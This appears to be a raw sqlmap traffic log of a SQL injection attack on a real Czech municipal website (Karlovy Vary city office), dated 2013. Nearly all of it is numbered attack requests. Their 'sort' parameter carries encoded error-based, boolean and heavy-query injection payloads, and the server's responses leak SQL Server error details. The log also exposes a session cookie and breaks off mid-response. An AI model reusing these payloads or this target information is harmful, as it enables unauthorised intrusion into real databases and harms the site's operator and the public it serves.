http://mmkv.cz:80/index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=(SELECT%20(CASE%20WHEN%20(UNICODE(SUBSTRING((SELECT%20ISNULL(CAST(LTRIM(STR(COUNT(%2A)))%20AS%20NVARCHAR(4000)),CHAR(32))%20FROM%20msdb.dbo.sysoperators),1,1))%3E1)%20THEN%20CHAR(40)%2BCHAR(115)%2BCHAR(101)%2BCHAR(108)%2BCHAR(101)%2BCHAR(99)%2BCHAR(116)%2BCHAR(32)%2BCHAR(99)%2BCHAR(111)%2BCHAR(110)%2BCHAR(118)%2BCHAR(101)%2BCHAR(114)%2BCHAR(116)%2BCHAR(40)%2BCHAR(105)%2BCHAR(110)%2BCHAR(116)%2BCHAR(44)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(53)%2BCHAR(50)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(54)%2BCHAR(55)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(49)%2BCHAR(55)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(56)%2BCHAR(49)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(49)%2BCHAR(54)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(48)%2BCHAR(49)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(55)%2BCHAR(48)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(50)%2BCHAR(48)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(57)%2BCHAR(57)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(53)%2BCHAR(55)%2BCHAR(41)%2BCHAR(37)%2BCHAR(50)%2BCHAR(98)%2BCHAR(67)%2BCHAR(72)%2BCHAR(65)%2BCHAR(82)%2BCHAR(40)%2BCHAR(49)%2BCHAR(48)%2BCHAR(57)%2BCHAR(41)%2BCHAR(41)%2BCHAR(32)%2BCHAR(70)%2BCHAR(82)%2BCHAR(79)%2BCHAR(77)%2BCHAR(32)%2BCHAR(115)%2BCHAR(121)%2BCHAR(115)%2BCHAR(99)%2BCHAR(111)%2BCHAR(108)%2BCHAR(117)%2BCHAR(109)%2BCHAR(110)%2BCHAR(115)%2BCHAR(41)%20ELSE%206910%2A(SELECT%206910%20FROM%20master..sysdatabases)%20END))&vyhledat=vyhledat Server: Microsoft-IIS/6.0 Connection: close Cache-control: private Date: Fri, 09 Aug 2013 08:27:05 Content-type: text/html

Investiční plány města rok 2013 (.xls 18kB)
Plán oprav místních komunikací 2013 (.xls 78kB)
Microsoft OLE DB Provider for SQL Server
chyba 80040e09'
SELECT permission denied on object 'sysoperators', database 'msdb', owner 'dbo'.
/mmkv.asp, line 275 ############################################################################ HTTP request [#5]: GET /index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28select%20convert%28int%2CCHAR%2852%29%2bCHAR%2867%29%2bCHAR%28117%29%2bCHAR%2881%29%2bCHAR%28116%29%2bCHAR%28101%29%2bCHAR%2870%29%2bCHAR%28120%29%2bCHAR%2899%29%2bCHAR%2857%29%2bCHAR%28109%29%29%20FROM%20syscolumns%29&vyhledat=vyhledat HTTP/1.1 Accept-language: en-us,en;q=0.5 Accept-encoding: gzip,deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/_;q=0.8 User-agent: sqlmap/1.0-dev-1088011 (http://sqlmap.org) Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: mmkv.cz Pragma: no-cache Cache-control: no-cache,no-store Cookie: ASPSESSIONIDCAQRSARQ=EDJKPCMBIGGBKKDFGEFEENCN Connection: close HTTP response [#5](500 Internal Server Error): Content-length: 7504 X-powered-by: ASP.NET Uri: http://mmkv.cz:80/index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28select%20convert%28int%2CCHAR%2852%29%2bCHAR%2867%29%2bCHAR%28117%29%2bCHAR%2881%29%2bCHAR%28116%29%2bCHAR%28101%29%2bCHAR%2870%29%2bCHAR%28120%29%2bCHAR%2899%29%2bCHAR%2857%29%2bCHAR%28109%29%29%20FROM%20syscolumns%29&vyhledat=vyhledat Server: Microsoft-IIS/6.0 Connection: close Cache-control: private Date: Fri, 09 Aug 2013 08:27:05 Content-type: text/html

Plán oprav místních komunikací 2013 (.xls 78kB)
Microsoft OLE DB Provider for SQL Server
chyba 80040e07'
Syntax error converting the varchar value '4CuQteFxc9m' to a column of data type int.
/mmkv.asp, line 275 ############################################################################ HTTP request [#6]: GET /index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28select%20convert%28int%2CCHAR%2852%29%2bCHAR%2867%29%2bCHAR%28117%29%2bCHAR%2881%29%2bCHAR%28116%29%2bCHAR%28101%29%2bCHAR%2870%29%2bCHAR%28120%29%2bCHAR%2899%29%2bCHAR%2857%29%2bCHAR%28109%29%29%20FROM%20syscolumns%29&vyhledat=vyhledat HTTP/1.1 Accept-language: en-us,en;q=0.5 Accept-encoding: gzip,deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/_;q=0.8 User-agent: sqlmap/1.0-dev-1088011 (http://sqlmap.org) Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: mmkv.cz Pragma: no-cache Cache-control: no-cache,no-store Cookie: ASPSESSIONIDCAQRSARQ=EDJKPCMBIGGBKKDFGEFEENCN Connection: close HTTP response [#6](500 Internal Server Error): Content-length: 7504 X-powered-by: ASP.NET Uri: http://mmkv.cz:80/index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28select%20convert%28int%2CCHAR%2852%29%2bCHAR%2867%29%2bCHAR%28117%29%2bCHAR%2881%29%2bCHAR%28116%29%2bCHAR%28101%29%2bCHAR%2870%29%2bCHAR%28120%29%2bCHAR%2899%29%2bCHAR%2857%29%2bCHAR%28109%29%29%20FROM%20syscolumns%29&vyhledat=vyhledat Server: Microsoft-IIS/6.0 Connection: close Cache-control: private Date: Fri, 09 Aug 2013 08:27:05 Content-type: text/html

Investiční plány města rok 2013 (.xls 18kB)
Plán oprav místních komunikací 2013 (.xls 78kB)
Microsoft OLE DB Provider for SQL Server
chyba 80040e07'
Syntax error converting the varchar value '4CuQteFxc9m' to a column of data type int.
/mmkv.asp, line 275 ############################################################################ HTTP request [#7]: GET /index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28select%20convert%28int%2CCHAR%2852%29%2bCHAR%2867%29%2bCHAR%28117%29%2bCHAR%2881%29%2bCHAR%28116%29%2bCHAR%28101%29%2bCHAR%2870%29%2bCHAR%28120%29%2bCHAR%2899%29%2bCHAR%2857%29%2bCHAR%28109%29%29%20FROM%20syscolumns%29&vyhledat=vyhledat HTTP/1.1 Accept-language: en-us,en;q=0.5 Accept-encoding: gzip,deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/_;q=0.8 User-agent: sqlmap/1.0-dev-1088011 (http://sqlmap.org) Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: mmkv.cz Pragma: no-cache Cache-control: no-cache,no-store Cookie: ASPSESSIONIDCAQRSARQ=EDJKPCMBIGGBKKDFGEFEENCN Connection: close HTTP response [#7](500 Internal Server Error): Content-length: 7504 X-powered-by: ASP.NET Uri: http://mmkv.cz:80/index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28select%20convert%28int%2CCHAR%2852%29%2bCHAR%2867%29%2bCHAR%28117%29%2bCHAR%2881%29%2bCHAR%28116%29%2bCHAR%28101%29%2bCHAR%2870%29%2bCHAR%28120%29%2bCHAR%2899%29%2bCHAR%2857%29%2bCHAR%28109%29%29%20FROM%20syscolumns%29&vyhledat=vyhledat Server: Microsoft-IIS/6.0 Connection: close Cache-control: private Date: Fri, 09 Aug 2013 08:27:05 Content-type: text/html

Investiční plány města rok 2013 (.xls 18kB)
Plán oprav místních komunikací 2013 (.xls 78kB)
Microsoft OLE DB Provider for SQL Server
chyba 80040e07'
Syntax error converting the varchar value '4CuQteFxc9m' to a column of data type int.
/mmkv.asp, line 275 ############################################################################ HTTP request [#8]: GET /index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28select%20convert%28int%2CCHAR%2852%29%2bCHAR%2867%29%2bCHAR%28117%29%2bCHAR%2881%29%2bCHAR%28116%29%2bCHAR%28101%29%2bCHAR%2870%29%2bCHAR%28120%29%2bCHAR%2899%29%2bCHAR%2857%29%2bCHAR%28109%29%29%20FROM%20syscolumns%29&vyhledat=vyhledat HTTP/1.1 Accept-language: en-us,en;q=0.5 Accept-encoding: gzip,deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/_;q=0.8 User-agent: sqlmap/1.0-dev-1088011 (http://sqlmap.org) Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: mmkv.cz Pragma: no-cache Cache-control: no-cache,no-store Cookie: ASPSESSIONIDCAQRSARQ=EDJKPCMBIGGBKKDFGEFEENCN Connection: close HTTP response [#8](500 Internal Server Error): Content-length: 7504 X-powered-by: ASP.NET Uri: http://mmkv.cz:80/index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28select%20convert%28int%2CCHAR%2852%29%2bCHAR%2867%29%2bCHAR%28117%29%2bCHAR%2881%29%2bCHAR%28116%29%2bCHAR%28101%29%2bCHAR%2870%29%2bCHAR%28120%29%2bCHAR%2899%29%2bCHAR%2857%29%2bCHAR%28109%29%29%20FROM%20syscolumns%29&vyhledat=vyhledat Server: Microsoft-IIS/6.0 Connection: close Cache-control: private Date: Fri, 09 Aug 2013 08:27:05 Content-type: text/html

Investiční plány města rok 2013 (.xls 18kB)
Plán oprav místních komunikací 2013 (.xls 78kB)
Microsoft OLE DB Provider for SQL Server
chyba 80040e07'
Syntax error converting the varchar value '4CuQteFxc9m' to a column of data type int.
/mmkv.asp, line 275 ############################################################################ HTTP request [#9]: GET /index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28select%20convert%28int%2CCHAR%2852%29%2bCHAR%2867%29%2bCHAR%28117%29%2bCHAR%2881%29%2bCHAR%28116%29%2bCHAR%28101%29%2bCHAR%2870%29%2bCHAR%28120%29%2bCHAR%2899%29%2bCHAR%2857%29%2bCHAR%28109%29%29%20FROM%20syscolumns%29&vyhledat=vyhledat HTTP/1.1 Accept-language: en-us,en;q=0.5 Accept-encoding: gzip,deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/_;q=0.8 User-agent: sqlmap/1.0-dev-1088011 (http://sqlmap.org) Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: mmkv.cz Pragma: no-cache Cache-control: no-cache,no-store Cookie: ASPSESSIONIDCAQRSARQ=EDJKPCMBIGGBKKDFGEFEENCN Connection: close HTTP response [#9](500 Internal Server Error): Content-length: 7504 X-powered-by: ASP.NET Uri: http://mmkv.cz:80/index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28select%20convert%28int%2CCHAR%2852%29%2bCHAR%2867%29%2bCHAR%28117%29%2bCHAR%2881%29%2bCHAR%28116%29%2bCHAR%28101%29%2bCHAR%2870%29%2bCHAR%28120%29%2bCHAR%2899%29%2bCHAR%2857%29%2bCHAR%28109%29%29%20FROM%20syscolumns%29&vyhledat=vyhledat Server: Microsoft-IIS/6.0 Connection: close Cache-control: private Date: Fri, 09 Aug 2013 08:27:05 Content-type: text/html

Investiční plány města rok 2013 (.xls 18kB)
Plán oprav místních komunikací 2013 (.xls 78kB)
Microsoft OLE DB Provider for SQL Server
chyba 80040e07'
Syntax error converting the varchar value '4CuQteFxc9m' to a column of data type int.
/mmkv.asp, line 275 ############################################################################ HTTP request [#10]: GET /index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28select%20convert%28int%2CCHAR%2852%29%2bCHAR%2867%29%2bCHAR%28117%29%2bCHAR%2881%29%2bCHAR%28116%29%2bCHAR%28101%29%2bCHAR%2870%29%2bCHAR%28120%29%2bCHAR%2899%29%2bCHAR%2857%29%2bCHAR%28109%29%29%20FROM%20syscolumns%29&vyhledat=vyhledat HTTP/1.1 Accept-language: en-us,en;q=0.5 Accept-encoding: gzip,deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/_;q=0.8 User-agent: sqlmap/1.0-dev-1088011 (http://sqlmap.org) Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: mmkv.cz Pragma: no-cache Cache-control: no-cache,no-store Cookie: ASPSESSIONIDCAQRSARQ=EDJKPCMBIGGBKKDFGEFEENCN Connection: close HTTP response [#10](500 Internal Server Error): Content-length: 7504 X-powered-by: ASP.NET Uri: http://mmkv.cz:80/index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28select%20convert%28int%2CCHAR%2852%29%2bCHAR%2867%29%2bCHAR%28117%29%2bCHAR%2881%29%2bCHAR%28116%29%2bCHAR%28101%29%2bCHAR%2870%29%2bCHAR%28120%29%2bCHAR%2899%29%2bCHAR%2857%29%2bCHAR%28109%29%29%20FROM%20syscolumns%29&vyhledat=vyhledat Server: Microsoft-IIS/6.0 Connection: close Cache-control: private Date: Fri, 09 Aug 2013 08:27:05 Content-type: text/html

Investiční plány města rok 2013 (.xls 18kB)
Plán oprav místních komunikací 2013 (.xls 78kB)
Microsoft OLE DB Provider for SQL Server
chyba 80040e07'
Syntax error converting the varchar value '4CuQteFxc9m' to a column of data type int.
/mmkv.asp, line 275 ############################################################################ HTTP request [#11]: GET /index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28select%20convert%28int%2CCHAR%2852%29%2bCHAR%2867%29%2bCHAR%28117%29%2bCHAR%2881%29%2bCHAR%28116%29%2bCHAR%28101%29%2bCHAR%2870%29%2bCHAR%28120%29%2bCHAR%2899%29%2bCHAR%2857%29%2bCHAR%28109%29%29%20FROM%20syscolumns%29&vyhledat=vyhledat HTTP/1.1 Accept-language: en-us,en;q=0.5 Accept-encoding: gzip,deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/_;q=0.8 User-agent: sqlmap/1.0-dev-1088011 (http://sqlmap.org) Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: mmkv.cz Pragma: no-cache Cache-control: no-cache,no-store Cookie: ASPSESSIONIDCAQRSARQ=EDJKPCMBIGGBKKDFGEFEENCN Connection: close HTTP response [#11](500 Internal Server Error): Content-length: 7504 X-powered-by: ASP.NET Uri: http://mmkv.cz:80/index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28select%20convert%28int%2CCHAR%2852%29%2bCHAR%2867%29%2bCHAR%28117%29%2bCHAR%2881%29%2bCHAR%28116%29%2bCHAR%28101%29%2bCHAR%2870%29%2bCHAR%28120%29%2bCHAR%2899%29%2bCHAR%2857%29%2bCHAR%28109%29%29%20FROM%20syscolumns%29&vyhledat=vyhledat Server: Microsoft-IIS/6.0 Connection: close Cache-control: private Date: Fri, 09 Aug 2013 08:27:05 Content-type: text/html

Investiční plány města rok 2013 (.xls 18kB)
Plán oprav místních komunikací 2013 (.xls 78kB)
Microsoft OLE DB Provider for SQL Server
chyba 80040e07'
Syntax error converting the varchar value '4CuQteFxc9m' to a column of data type int.
/mmkv.asp, line 275 ############################################################################ HTTP request [#12]: GET /index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28select%20convert%28int%2CCHAR%2852%29%2bCHAR%2867%29%2bCHAR%28117%29%2bCHAR%2881%29%2bCHAR%28116%29%2bCHAR%28101%29%2bCHAR%2870%29%2bCHAR%28120%29%2bCHAR%2899%29%2bCHAR%2857%29%2bCHAR%28109%29%29%20FROM%20syscolumns%29&vyhledat=vyhledat HTTP/1.1 Accept-language: en-us,en;q=0.5 Accept-encoding: gzip,deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/_;q=0.8 User-agent: sqlmap/1.0-dev-1088011 (http://sqlmap.org) Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: mmkv.cz Pragma: no-cache Cache-control: no-cache,no-store Cookie: ASPSESSIONIDCAQRSARQ=EDJKPCMBIGGBKKDFGEFEENCN Connection: close HTTP response [#12](500 Internal Server Error): Content-length: 7504 X-powered-by: ASP.NET Uri: http://mmkv.cz:80/index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28select%20convert%28int%2CCHAR%2852%29%2bCHAR%2867%29%2bCHAR%28117%29%2bCHAR%2881%29%2bCHAR%28116%29%2bCHAR%28101%29%2bCHAR%2870%29%2bCHAR%28120%29%2bCHAR%2899%29%2bCHAR%2857%29%2bCHAR%28109%29%29%20FROM%20syscolumns%29&vyhledat=vyhledat Server: Microsoft-IIS/6.0 Connection: close Cache-control: private Date: Fri, 09 Aug 2013 08:27:05 Content-type: text/html

Investiční plány města rok 2013 (.xls 18kB)
Plán oprav místních komunikací 2013 (.xls 78kB)
Microsoft OLE DB Provider for SQL Server
chyba 80040e07'
Syntax error converting the varchar value '4CuQteFxc9m' to a column of data type int.
/mmkv.asp, line 275 ############################################################################ HTTP request [#13]: GET /index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28select%20convert%28int%2CCHAR%2852%29%2bCHAR%2867%29%2bCHAR%28117%29%2bCHAR%2881%29%2bCHAR%28116%29%2bCHAR%28101%29%2bCHAR%2870%29%2bCHAR%28120%29%2bCHAR%2899%29%2bCHAR%2857%29%2bCHAR%28109%29%29%20FROM%20syscolumns%29&vyhledat=vyhledat HTTP/1.1 Accept-language: en-us,en;q=0.5 Accept-encoding: gzip,deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/_;q=0.8 User-agent: sqlmap/1.0-dev-1088011 (http://sqlmap.org) Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: mmkv.cz Pragma: no-cache Cache-control: no-cache,no-store Cookie: ASPSESSIONIDCAQRSARQ=EDJKPCMBIGGBKKDFGEFEENCN Connection: close HTTP response [#13](500 Internal Server Error): Content-length: 7504 X-powered-by: ASP.NET Uri: http://mmkv.cz:80/index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28select%20convert%28int%2CCHAR%2852%29%2bCHAR%2867%29%2bCHAR%28117%29%2bCHAR%2881%29%2bCHAR%28116%29%2bCHAR%28101%29%2bCHAR%2870%29%2bCHAR%28120%29%2bCHAR%2899%29%2bCHAR%2857%29%2bCHAR%28109%29%29%20FROM%20syscolumns%29&vyhledat=vyhledat Server: Microsoft-IIS/6.0 Connection: close Cache-control: private Date: Fri, 09 Aug 2013 08:27:05 Content-type: text/html

Investiční plány města rok 2013 (.xls 18kB)
Plán oprav místních komunikací 2013 (.xls 78kB)
Microsoft OLE DB Provider for SQL Server
chyba 80040e07'
Syntax error converting the varchar value '4CuQteFxc9m' to a column of data type int.
/mmkv.asp, line 275 ############################################################################ HTTP request [#14]: GET /index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28select%20convert%28int%2CCHAR%2852%29%2bCHAR%2867%29%2bCHAR%28117%29%2bCHAR%2881%29%2bCHAR%28116%29%2bCHAR%28101%29%2bCHAR%2870%29%2bCHAR%28120%29%2bCHAR%2899%29%2bCHAR%2857%29%2bCHAR%28109%29%29%20FROM%20syscolumns%29&vyhledat=vyhledat HTTP/1.1 Accept-language: en-us,en;q=0.5 Accept-encoding: gzip,deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/_;q=0.8 User-agent: sqlmap/1.0-dev-1088011 (http://sqlmap.org) Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: mmkv.cz Pragma: no-cache Cache-control: no-cache,no-store Cookie: ASPSESSIONIDCAQRSARQ=EDJKPCMBIGGBKKDFGEFEENCN Connection: close HTTP response [#14](500 Internal Server Error): Content-length: 7504 X-powered-by: ASP.NET Uri: http://mmkv.cz:80/index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28select%20convert%28int%2CCHAR%2852%29%2bCHAR%2867%29%2bCHAR%28117%29%2bCHAR%2881%29%2bCHAR%28116%29%2bCHAR%28101%29%2bCHAR%2870%29%2bCHAR%28120%29%2bCHAR%2899%29%2bCHAR%2857%29%2bCHAR%28109%29%29%20FROM%20syscolumns%29&vyhledat=vyhledat Server: Microsoft-IIS/6.0 Connection: close Cache-control: private Date: Fri, 09 Aug 2013 08:27:05 Content-type: text/html

Investiční plány města rok 2013 (.xls 18kB)
Plán oprav místních komunikací 2013 (.xls 78kB)
Microsoft OLE DB Provider for SQL Server
chyba 80040e07'
Syntax error converting the varchar value '4CuQteFxc9m' to a column of data type int.
/mmkv.asp, line 275 ############################################################################ HTTP request [#15]: GET /index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28select%20convert%28int%2CCHAR%2852%29%2bCHAR%2867%29%2bCHAR%28117%29%2bCHAR%2881%29%2bCHAR%28116%29%2bCHAR%28101%29%2bCHAR%2870%29%2bCHAR%28120%29%2bCHAR%2899%29%2bCHAR%2857%29%2bCHAR%28109%29%29%20FROM%20syscolumns%29&vyhledat=vyhledat HTTP/1.1 Accept-language: en-us,en;q=0.5 Accept-encoding: gzip,deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/_;q=0.8 User-agent: sqlmap/1.0-dev-1088011 (http://sqlmap.org) Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: mmkv.cz Pragma: no-cache Cache-control: no-cache,no-store Cookie: ASPSESSIONIDCAQRSARQ=EDJKPCMBIGGBKKDFGEFEENCN Connection: close HTTP response [#15](500 Internal Server Error): Content-length: 7504 X-powered-by: ASP.NET Uri: http://mmkv.cz:80/index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28select%20convert%28int%2CCHAR%2852%29%2bCHAR%2867%29%2bCHAR%28117%29%2bCHAR%2881%29%2bCHAR%28116%29%2bCHAR%28101%29%2bCHAR%2870%29%2bCHAR%28120%29%2bCHAR%2899%29%2bCHAR%2857%29%2bCHAR%28109%29%29%20FROM%20syscolumns%29&vyhledat=vyhledat Server: Microsoft-IIS/6.0 Connection: close Cache-control: private Date: Fri, 09 Aug 2013 08:27:05 Content-type: text/html
MMKV.cz - Magistrát města Karlovy Vary

Investiční plány města rok 2013 (.xls 18kB)
Plán oprav místních komunikací 2013 (.xls 78kB)
Microsoft OLE DB Provider for SQL Server
chyba 80040e07'
Syntax error converting the varchar value '4CuQteFxc9m' to a column of data type int.
/mmkv.asp, line 275 ############################################################################ HTTP request [#16]: GET /index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28select%20convert%28int%2CCHAR%2852%29%2bCHAR%2867%29%2bCHAR%28117%29%2bCHAR%2881%29%2bCHAR%28116%29%2bCHAR%28101%29%2bCHAR%2870%29%2bCHAR%28120%29%2bCHAR%2899%29%2bCHAR%2857%29%2bCHAR%28109%29%29%20FROM%20syscolumns%29&vyhledat=vyhledat HTTP/1.1 Accept-language: en-us,en;q=0.5 Accept-encoding: gzip,deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/_;q=0.8 User-agent: sqlmap/1.0-dev-1088011 (http://sqlmap.org) Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: mmkv.cz Pragma: no-cache Cache-control: no-cache,no-store Cookie: ASPSESSIONIDCAQRSARQ=EDJKPCMBIGGBKKDFGEFEENCN Connection: close HTTP response [#16](500 Internal Server Error): Content-length: 7504 X-powered-by: ASP.NET Uri: http://mmkv.cz:80/index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28select%20convert%28int%2CCHAR%2852%29%2bCHAR%2867%29%2bCHAR%28117%29%2bCHAR%2881%29%2bCHAR%28116%29%2bCHAR%28101%29%2bCHAR%2870%29%2bCHAR%28120%29%2bCHAR%2899%29%2bCHAR%2857%29%2bCHAR%28109%29%29%20FROM%20syscolumns%29&vyhledat=vyhledat Server: Microsoft-IIS/6.0 Connection: close Cache-control: private Date: Fri, 09 Aug 2013 08:27:05 Content-type: text/html

Investiční plány města rok 2013 (.xls 18kB)
Plán oprav místních komunikací 2013 (.xls 78kB)
Microsoft OLE DB Provider for SQL Server
chyba 80040e07'
Syntax error converting the varchar value '4CuQteFxc9m' to a column of data type int.
/mmkv.asp, line 275 ############################################################################ HTTP request [#17]: GET /index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28SELECT%20%28CASE%20WHEN%20%28UNICODE%28SUBSTRING%28%28SELECT%20ISNULL%28CAST%28LTRIM%28STR%28COUNT%28%2A%29%29%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%20FROM%20msdb.dbo.sysoperators%29%2C1%2C1%29%29%3E51%29%20THEN%20%28SELECT%20COUNT%28%2A%29%20FROM%20sysusers%20AS%20sys1%2Csysusers%20AS%20sys2%2Csysusers%20AS%20sys3%2Csysusers%20AS%20sys4%2Csysusers%20AS%20sys5%2Csysusers%20AS%20sys6%2Csysusers%20AS%20sys7%29%20ELSE%205859%20END%29%29&vyhledat=vyhledat HTTP/1.1 Accept-language: en-us,en;q=0.5 Accept-encoding: gzip,deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/_;q=0.8 User-agent: sqlmap/1.0-dev-1088011 (http://sqlmap.org) Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: mmkv.cz Pragma: no-cache Cache-control: no-cache,no-store Cookie: ASPSESSIONIDCAQRSARQ=EDJKPCMBIGGBKKDFGEFEENCN Connection: close HTTP response [#17](500 Internal Server Error): Content-length: 7499 X-powered-by: ASP.NET Uri: 